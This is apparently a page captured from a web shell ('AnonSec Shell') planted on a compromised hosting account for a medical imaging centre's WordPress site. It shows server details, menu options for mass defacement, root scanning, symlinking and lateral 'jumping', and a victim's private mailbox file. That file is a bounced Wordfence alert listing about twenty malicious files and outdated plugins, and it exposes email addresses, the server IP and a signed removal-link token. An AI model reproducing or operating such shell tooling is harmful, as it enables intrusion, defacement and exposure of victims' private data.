. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . AnonSec Shell
AnonSec Shell
Server IP : 162.0.212.4  /  Your IP : 216.73.216.14   [ Reverse IP ]
Web Server : LiteSpeed
System : Linux premium146.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64
User : alshnoli ( 2431)
PHP Version : 8.3.28
Disable Function : NONE
Domains : 1 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/alshnoli/mail/new/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /home/alshnoli/mail/new/1756105262.M933872P540252.premium146.web-hosting.com,S=7907,W=8120
Return-Path: <>
Delivered-To: alshnoli@premium146.web-hosting.com
Received: from premium146.web-hosting.com
	by premium146.web-hosting.com with LMTP
	id 0InWMy4KrGhcPggA+S276A
	(envelope-from <>)
	for <alshnoli@premium146.web-hosting.com>; Mon, 25 Aug 2025 03:01:02 -0400
Return-path: <>
Envelope-to: alshnoli@premium146.web-hosting.com
Delivery-date: Mon, 25 Aug 2025 03:01:02 -0400
Received: from mailnull by premium146.web-hosting.com with local (Exim 4.98.2)
	id 1uqRCQ-00000002TRY-3NKZ
	for alshnoli@premium146.web-hosting.com;
	Mon, 25 Aug 2025 03:01:02 -0400
X-Failed-Recipients: yousefmido@gmail.com
Auto-Submitted: auto-replied
From: Mail Delivery System <Mailer-Daemon@premium146.web-hosting.com>
To: alshnoli@premium146.web-hosting.com
References: <Kqtp6rn0Xq5xd0JyhkazY9F8KMSlJ3YAHvTeHhEJg@alshroouk-scan.com>
Content-Type: multipart/report; report-type=delivery-status; boundary=1756105262-eximdsn-825623947
MIME-Version: 1.0
Subject: Mail delivery failed: returning message to sender
Message-Id: <E1uqRCQ-00000002TRY-3NKZ@premium146.web-hosting.com>
Date: Mon, 25 Aug 2025 03:01:02 -0400

--1756105262-eximdsn-825623947
Content-type: text/plain; charset=us-ascii

This message was created automatically by mail delivery software.

A message that you sent could not be delivered to one or more of its
recipients. This is a permanent error. The following address(es) failed:

  yousefmido@gmail.com
    Message discarded as high-probability spam

--1756105262-eximdsn-825623947
Content-type: message/delivery-status

Reporting-MTA: dns; premium146.web-hosting.com

Action: failed
Final-Recipient: rfc822;yousefmido@gmail.com
Status: 5.0.0

--1756105262-eximdsn-825623947
Content-type: message/rfc822

Return-path: <alshnoli@premium146.web-hosting.com>
Received: from alshnoli by premium146.web-hosting.com with local (Exim 4.98.2)
	(envelope-from <alshnoli@premium146.web-hosting.com>)
	id 1uqRCM-00000002TJM-03To
	for yousefmido@gmail.com;
	Mon, 25 Aug 2025 03:00:58 -0400
To: yousefmido@gmail.com
Subject: =?us-ascii?Q?[Wordfence_Alert]_Problems_found_on_alshroouk-s?=
 =?us-ascii?Q?can.com?=
Date: Mon, 25 Aug 2025 07:00:57 +0000
From: wordpress@alshroouk-scan.com
Message-ID: <Kqtp6rn0Xq5xd0JyhkazY9F8KMSlJ3YAHvTeHhEJg@alshroouk-scan.com>
X-Mailer: WPMailSMTP/Mailer/mail 4.5.0
MIME-Version: 1.0
Content-Type: text/html; charset=UTF-8
Content-Transfer-Encoding: 8bit
Sender:  <alshnoli@premium146.web-hosting.com>

<p>This email was sent from your website &quot;مراكز الشروق للأشعة والتحاليل&quot; by the Wordfence plugin.</p>

<p>Wordfence found the following new issues on "مراكز الشروق للأشعة والتحاليل" (1 existing issue was also found again).</p>

<p>Alert generated at Monday 25th of August 2025 at 09:00:57 AM</p>

<br>

<p>See the details of these scan results on your site at: https://alshroouk-scan.com/wp-admin/admin.php?page=WordfenceScan</p>




<p>Critical Problems:</p>
<p>* File appears to be malicious or unsafe: wp-admin/exploit/admin-action.php</p>


<p>* File appears to be malicious or unsafe: wp-admin/includes/class-bulk-language-upgrader-skin.php</p>


<p>* File appears to be malicious or unsafe: wp-content/plugins/so-pinyin-slugs/inc/main_json.php</p>


<p>* File appears to be malicious or unsafe: wp-includes/php-compat/readsonly.php</p>


<p>* File appears to be malicious or unsafe: wp-includes/rest-api/search/class-wp-rest-name-view.php</p>


<p>* File appears to be malicious or unsafe: wp-includes/widgets/class-wp-widget-date-time.php</p>


<p>* File appears to be malicious or unsafe: wp-content/plugins/elemator/time-extra.php</p>


<p>* File appears to be malicious or unsafe: wp-content/plugins/so-pinyin-slugs/inc/index.php</p>


<p>* File appears to be malicious or unsafe: wp-content/maintenance/cache/history.php</p>


<p>* File appears to be malicious or unsafe: wp-content/themes/theme-check/main.php</p>


<p>* File appears to be malicious or unsafe: wp-includes/fonts/class-wp-font-filter.php</p>


<p>* File appears to be malicious or unsafe: wp-includes/SimplePie/library/SimplePie/Register-time.php</p>


<p>* File appears to be malicious or unsafe: wp-includes/SimplePie/src/Parse/time.php</p>


<p>* File appears to be malicious or unsafe: wp-content/languages/themes/continents-time-hash-id_ID.php</p>


<p>* File appears to be malicious or unsafe: wp-content/themes/theme-check/index.php</p>


<p>* File appears to be malicious or unsafe: wp-includes/random_logs/random_bytes_bcrypt.php</p>


<p>* File appears to be malicious or unsafe: wp-admin/load-time.php</p>


<p>* File appears to be malicious or unsafe: wp-includes/block-supports/navigation/view-modal.max.asset.php</p>


<p>* File appears to be malicious or unsafe: wp-admin/network/menu/site-media.php</p>


<p>* File appears to be malicious or unsafe: wp-includes/sodium_compat/src/Home-Hash.php</p>


<p>* The Plugin &quot;Elementor Pro&quot; needs an upgrade (3.5.2 -&gt; 3.31.2).</p>
<p><strong>Update includes security-related fixes.</strong> <br>Vulnerability Severity: 8.8/10.0 (<span style="color:#df3d03">High</span>) <a href="https://www.wordfence.com/threat-intel/vulnerabilities/id/570474f2-c118-45e1-a237-c70b849b2d3c?source=plugin" target="_blank" rel="nofollow noreferrer noopener">Vulnerability Information</a><br>https://elementor.com/pro/changelog/#developers</p>

<p>High Severity Problems:</p>
<p>* Unknown file in WordPress core: wp-admin/exploit/admin-action.php</p>


<p>* Unknown file in WordPress core: wp-admin/includes/class-bulk-language-upgrader-skin.php</p>


<p>* Unknown file in WordPress core: wp-admin/load-time.php</p>


<p>* Unknown file in WordPress core: wp-admin/network/menu/site-media.php</p>


<p>* Unknown file in WordPress core: wp-includes/SimplePie/library/SimplePie/Register-time.php</p>


<p>* Unknown file in WordPress core: wp-includes/SimplePie/src/Parse/time.php</p>


<p>* Unknown file in WordPress core: wp-includes/block-supports/navigation/view-modal.max.asset.php</p>


<p>* Unknown file in WordPress core: wp-includes/fonts/class-wp-font-filter.php</p>


<p>* Unknown file in WordPress core: wp-includes/js/dist/vendor/wp-polyfill-fetch.min.php</p>


<p>* Unknown file in WordPress core: wp-includes/php-compat/readsonly.php</p>


<p>* Unknown file in WordPress core: wp-includes/random_logs/random_bytes_bcrypt.php</p>


<p>* Unknown file in WordPress core: wp-includes/rest-api/search/class-wp-rest-name-view.php</p>


<p>* Unknown file in WordPress core: wp-includes/sodium_compat/src/Home-Hash.php</p>


<p>* Unknown file in WordPress core: wp-includes/widgets/class-wp-widget-date-time.php</p>


<p>Medium Severity Problems:</p>
<p>* Your WordPress version is out of date</p>


<p>* The Plugin &quot;Amelia&quot; needs an upgrade (7.5 -&gt; 8.4).</p>



<p>1 existing issue was found again and is not shown.</p>
	<p>NOTE: You are using the free version of Wordfence. Upgrade today:</p>
	
	<ul>
		<li>Receive real-time Firewall and Scan engine rule updates for protection as threats emerge</li>
		<li>Real-time IP Blocklist blocks the most malicious IPs from accessing your site</li>
		<li>Country blocking</li>
		<li>IP reputation monitoring</li>
		<li>Schedule scans to run more frequently and at optimal times</li>
		<li>Access to Premium Support</li>
		<li>Discounts for multi-year and multi-license purchases</li>
	</ul>

	<p>Click here to upgrade to Wordfence Premium:<br><a href="https://www.wordfence.com/zz2/wordfence-signup/">https://www.wordfence.com/zz2/wordfence-signup/</a></p>

<p>No longer an administrator for this site? <a href="https://alshroouk-scan.com/?_wfsf=removeAlertEmail&amp;jwt=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJlbWFpbCI6InlvdXNlZm1pZG9AZ21haWwuY29tIiwiX2V4cCI6MTc1NjcxMDA1N30.Hh3FYXiurBzTeIzzhS5qsiXEzq0gcWyRQg2TMv5abiA" target="_blank">Click here</a> to stop receiving security alerts.</p>


--1756105262-eximdsn-825623947--

Anon7 - 2022
AnonSec Team